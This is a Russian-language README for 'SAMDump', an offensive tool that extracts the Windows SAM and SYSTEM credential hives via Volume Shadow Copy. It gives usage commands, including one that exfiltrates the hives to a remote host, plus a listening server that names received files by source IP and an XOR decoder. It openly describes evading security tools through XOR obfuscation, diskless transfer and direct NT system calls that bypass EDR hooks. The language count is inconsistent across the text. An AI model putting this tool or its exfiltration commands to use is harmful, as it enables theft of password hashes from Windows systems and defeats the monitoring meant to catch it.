
Извлечение кустов реестра SAM и SYSTEM с помощью API теневых копий томов (VSS). С возможностями эксфильтрации и XOR-обфускации. На C#, C++, Crystal, Python, Rust, Golang, Nim и Deno (Javascript)
Извлекает файлы SAM и SYSTEM Windows с использованием теневого копирования томов (VSS) с несколькими вариантами эксфильтрации и XOR-обфускацией:
Реализован на C++, C#, Crystal и Python, работает на современных версиях Windows.
Требует повышенных привилегий; созданная теневая копия автоматически удаляется примерно через 5 минут.
SAMDump.exe [ОПЦИИ]
Опции:
--save-local [BOOL] Сохранить локально (по умолчанию: false)
--output-dir DIR Каталог для вывода (по умолчанию: C:\Windows\tasks)
--send-remote [BOOL] Отправить удалённо (по умолчанию: false)
--host IP Хост для удалённой отправки (по умолчанию: 127.0.0.1)
--port PORT Порт для удалённой отправки (по умолчанию: 7777)
--xor-encode [BOOL] XOR-кодирование (по умолчанию: false)
--xor-key KEY Включить XOR с указанным ключом (по умолчанию: SAMDump2025)
--disk DISK Диск для теневой копии (по умолчанию: C:\)
--help Показать эту справку
Сохранить локально без кодирования:
SAMDump.exe --save-local --output-dir "C:\temp"

Сохранить локально с XOR-кодированием:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

Отправить на удалённый сервер с XOR-кодированием и ключом по умолчанию:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py — это Python-сервер, принимающий файлы по сети с автоматическим XOR-декодированием и форматированием имени файла:
python server.py [ОПЦИИ]
Опции:
--host HOST IP-адрес для прослушивания (по умолчанию: 0.0.0.0)
--port PORT Порт для прослушивания (по умолчанию: 7777)
--xor-key KEY Ключ для XOR-декодирования (опционально)
Прослушивание на определённом интерфейсе и порту с XOR-ключом:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

Имя файла содержит IP-адрес и дату, что позволяет отправлять файлы с разных систем, автоматизируя процесс.
xor-decoder.py — это Python-скрипт для локального декодирования XOR-закодированных файлов SAM и SYSTEM:
python xor-decoder.py [ОПЦИИ]
Опции:
--sam SAM Путь к закодированному файлу SAM (обязательно)
--system SYSTEM Путь к закодированному файлу SYSTEM (обязательно)
--xor-key KEY XOR-ключ для декодирования (по умолчанию: SAMDump2025)
--output-dir DIR Каталог для декодированных файлов (по умолчанию: ./decoded)
Декодировать с ключом по умолчанию:
python xor-decoder.py --sam sam.txt --system system.txt

Декодировать с пользовательским ключом и каталогом вывода:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

Проект включает версии, реализованные на трёх языках:
comtypes (pip install comtypes)Я хотел автоматизировать этот процесс, и в большинстве Windows, которые я встречаю, запущен VSS, но средства безопасности обнаруживают использование vssadmin для создания теневых копий и извлечения этих файлов, так как это хорошо известная техника.
Этот инструмент извлекает файлы без записи в целевую файловую систему при использовании режима удалённой передачи; XOR-кодирование обеспечивает базовую обфускацию для обхода сигнатурного обнаружения (даже при использовании удалённого режима).
Кроме того, он использует вызовы NT API для обхода некоторых средств мониторинга и хуков пользовательского режима.
Инструмент использует системные вызовы NT вместо стандартных функций Windows API, что может обойти некоторые часто мониторимые хуки пользовательского режима:
NtCreateFile и NtReadFile: Используются для открытия дескриптора и чтения байтов файлов SAM и SYSTEM в теневой копииNtWriteFile: Используется для локального сохранения файловСпасибо @vx-underground за выявление и предложение оптимизаций в коде обхода таблицы адресов экспорта (EAT), замену ненужных вызовов NtReadVirtualMemory на прямой доступ к указателям.